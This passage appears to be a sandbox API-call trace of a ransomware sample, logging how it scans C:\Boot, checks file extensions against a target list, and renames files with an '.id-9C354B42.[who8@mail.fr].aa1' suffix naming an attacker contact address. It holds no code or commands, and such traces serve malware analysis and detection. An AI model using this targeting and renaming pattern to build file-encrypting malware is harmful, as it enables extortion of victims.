CloseHandle (hObject=0x15c) returned 1 [0195.198] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0195.198] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0195.198] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.198] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0195.198] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0195.198] lstrlenW (lpString=".doc") returned 4 [0195.198] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.198] lstrlenW (lpString=".docx") returned 5 [0195.198] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.198] lstrlenW (lpString=".pdf") returned 4 [0195.198] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.198] lstrlenW (lpString=".xls") returned 4 [0195.198] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.198] lstrlenW (lpString=".xlsx") returned 5 [0195.198] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.198] lstrlenW (lpString=".ppt") returned 4 [0195.198] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.198] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0195.198] lstrlenW (lpString=".zip") returned 4 [0195.198] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.198] lstrlenW (lpString=".rar") returned 4 [0195.198] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.199] lstrlenW (lpString=".bz2") returned 4 [0195.199] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.199] lstrlenW (lpString=".7z") returned 3 [0195.199] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.199] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0195.199] lstrlenW (lpString=".dbf") returned 4 [0195.199] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.199] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0195.199] lstrlenW (lpString=".1cd") returned 4 [0195.199] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.199] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0195.199] lstrlenW (lpString=".jpg") returned 4 [0195.199] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.199] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0195.199] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0195.199] lstrlenW (lpString=".doc") returned 4 [0195.199] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.199] lstrlenW (lpString=".docx") returned 5 [0195.199] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.199] lstrlenW (lpString=".pdf") returned 4 [0195.199] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.199] lstrlenW (lpString=".xls") returned 4 [0195.199] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.199] lstrlenW (lpString=".xlsx") returned 5 [0195.199] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.199] lstrlenW (lpString=".ppt") returned 4 [0195.199] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.199] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0195.200] lstrlenW (lpString=".zip") returned 4 [0195.200] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.200] lstrlenW (lpString=".rar") returned 4 [0195.200] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.200] lstrlenW (lpString=".bz2") returned 4 [0195.200] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.200] lstrlenW (lpString=".7z") returned 3 [0195.200] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.200] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0195.200] lstrlenW (lpString=".dbf") returned 4 [0195.200] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.200] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0195.200] lstrlenW (lpString=".1cd") returned 4 [0195.200] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.200] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0195.200] lstrlenW (lpString=".jpg") returned 4 [0195.200] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.200] lstrcmpiW (lpString1=".mui", lpString2=".aa1") returned 1 [0195.200] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.200] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0195.201] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=85056) returned 1 [0195.201] CloseHandle (hObject=0x15c) returned 1 [0195.201] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0195.201] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0195.201] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.201] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0195.201] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0195.201] lstrlenW (lpString=".doc") returned 4 [0195.201] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.201] lstrlenW (lpString=".docx") returned 5 [0195.201] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.201] lstrlenW (lpString=".pdf") returned 4 [0195.201] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.201] lstrlenW (lpString=".xls") returned 4 [0195.201] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.201] lstrlenW (lpString=".xlsx") returned 5 [0195.201] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.202] lstrlenW (lpString=".ppt") returned 4 [0195.202] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.202] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0195.202] lstrlenW (lpString=".zip") returned 4 [0195.202] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.202] lstrlenW (lpString=".rar") returned 4 [0195.202] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.202] lstrlenW (lpString=".bz2") returned 4 [0195.202] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.202] lstrlenW (lpString=".7z") returned 3 [0195.202] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.202] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0195.202] lstrlenW (lpString=".dbf") returned 4 [0195.202] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.202] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0195.202] lstrlenW (lpString=".1cd") returned 4 [0195.202] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.202] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0195.202] lstrlenW (lpString=".jpg") returned 4 [0195.202] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.202] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0195.202] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0195.202] lstrlenW (lpString=".doc") returned 4 [0195.202] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.202] lstrlenW (lpString=".docx") returned 5 [0195.203] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.203] lstrlenW (lpString=".pdf") returned 4 [0195.203] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.203] lstrlenW (lpString=".xls") returned 4 [0195.203] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.203] lstrlenW (lpString=".xlsx") returned 5 [0195.203] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.203] lstrlenW (lpString=".ppt") returned 4 [0195.203] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.203] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0195.203] lstrlenW (lpString=".zip") returned 4 [0195.203] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.203] lstrlenW (lpString=".rar") returned 4 [0195.203] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.203] lstrlenW (lpString=".bz2") returned 4 [0195.203] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.203] lstrlenW (lpString=".7z") returned 3 [0195.203] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.203] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0195.203] lstrlenW (lpString=".dbf") returned 4 [0195.203] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.203] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0195.203] lstrlenW (lpString=".1cd") returned 4 [0195.203] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.203] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0195.203] lstrlenW (lpString=".jpg") returned 4 [0195.203] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.204] lstrcmpiW (lpString1=".mui", lpString2=".aa1") returned 1 [0195.204] lstrlenW (lpString="memtest.exe.mui") returned 15 [0195.204] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0195.204] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=43600) returned 1 [0195.204] CloseHandle (hObject=0x15c) returned 1 [0195.204] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0195.204] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0195.204] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.205] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0195.205] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0195.205] lstrlenW (lpString=".doc") returned 4 [0195.205] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.205] lstrlenW (lpString=".docx") returned 5 [0195.205] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.205] lstrlenW (lpString=".pdf") returned 4 [0195.205] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.205] lstrlenW (lpString=".xls") returned 4 [0195.205] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.205] lstrlenW (lpString=".xlsx") returned 5 [0195.205] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.205] lstrlenW (lpString=".ppt") returned 4 [0195.205] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.205] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0195.205] lstrlenW (lpString=".zip") returned 4 [0195.205] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.205] lstrlenW (lpString=".rar") returned 4 [0195.205] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.205] lstrlenW (lpString=".bz2") returned 4 [0195.205] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.205] lstrlenW (lpString=".7z") returned 3 [0195.205] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.205] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0195.205] lstrlenW (lpString=".dbf") returned 4 [0195.205] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.205] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0195.206] lstrlenW (lpString=".1cd") returned 4 [0195.206] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.206] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0195.206] lstrlenW (lpString=".jpg") returned 4 [0195.206] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.206] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0195.206] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0195.206] lstrlenW (lpString=".doc") returned 4 [0195.206] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.206] lstrlenW (lpString=".docx") returned 5 [0195.206] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.206] lstrlenW (lpString=".pdf") returned 4 [0195.206] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.206] lstrlenW (lpString=".xls") returned 4 [0195.206] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.206] lstrlenW (lpString=".xlsx") returned 5 [0195.206] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.206] lstrlenW (lpString=".ppt") returned 4 [0195.206] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.206] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0195.206] lstrlenW (lpString=".zip") returned 4 [0195.206] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.206] lstrlenW (lpString=".rar") returned 4 [0195.206] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.206] lstrlenW (lpString=".bz2") returned 4 [0195.206] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.207] lstrlenW (lpString=".7z") returned 3 [0195.207] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.207] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0195.207] lstrlenW (lpString=".dbf") returned 4 [0195.207] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.207] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0195.207] lstrlenW (lpString=".1cd") returned 4 [0195.207] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.207] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0195.207] lstrlenW (lpString=".jpg") returned 4 [0195.207] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.207] lstrcmpiW (lpString1=".mui", lpString2=".aa1") returned 1 [0195.207] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.207] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0195.208] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=90192) returned 1 [0195.208] CloseHandle (hObject=0x15c) returned 1 [0195.208] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0195.208] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0195.208] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.209] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0195.209] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0195.209] lstrlenW (lpString=".doc") returned 4 [0195.209] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.209] lstrlenW (lpString=".docx") returned 5 [0195.209] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.209] lstrlenW (lpString=".pdf") returned 4 [0195.209] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.209] lstrlenW (lpString=".xls") returned 4 [0195.209] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.209] lstrlenW (lpString=".xlsx") returned 5 [0195.209] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.209] lstrlenW (lpString=".ppt") returned 4 [0195.209] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.209] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0195.209] lstrlenW (lpString=".zip") returned 4 [0195.209] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.209] lstrlenW (lpString=".rar") returned 4 [0195.209] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.209] lstrlenW (lpString=".bz2") returned 4 [0195.210] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.210] lstrlenW (lpString=".7z") returned 3 [0195.210] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.212] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=89152) returned 1 [0195.212] CloseHandle (hObject=0x15c) returned 1 [0195.212] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0195.212] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0195.213] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.213] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3694080) returned 1 [0195.213] CloseHandle (hObject=0x15c) returned 1 [0195.213] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0195.213] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0195.213] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[who8@mail.fr].aa1")) returned 0 [0196.614] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3876772) returned 1 [0196.615] CloseHandle (hObject=0x154) returned 1 [0196.615] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0196.615] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.615] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[who8@mail.fr].aa1")) returned 0 [0196.616] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2371360) returned 1 [0196.616] CloseHandle (hObject=0x154) returned 1 [0196.616] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0196.616] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.616] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[who8@mail.fr].aa1")) returned 0 [0196.617] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=47452) returned 1 [0196.617] CloseHandle (hObject=0x154) returned 1 [0196.617] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0196.617] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.617] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.618] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=93248) returned 1 [0196.618] CloseHandle (hObject=0x154) returned 1 [0196.618] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0196.618] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.618] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.619] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=90688) returned 1 [0196.619] CloseHandle (hObject=0x154) returned 1 [0196.619] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0196.619] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.619] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.620] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=90704) returned 1 [0196.620] CloseHandle (hObject=0x154) returned 1 [0196.620] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0196.620] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.620] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.620] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=76352) returned 1 [0196.621] CloseHandle (hObject=0x154) returned 1 [0196.621] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0196.621] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.621] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0196.621] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=75344) returned 1 [0196.621] CloseHandle (hObject=0x154) returned 1 [0196.621] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0196.622] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: 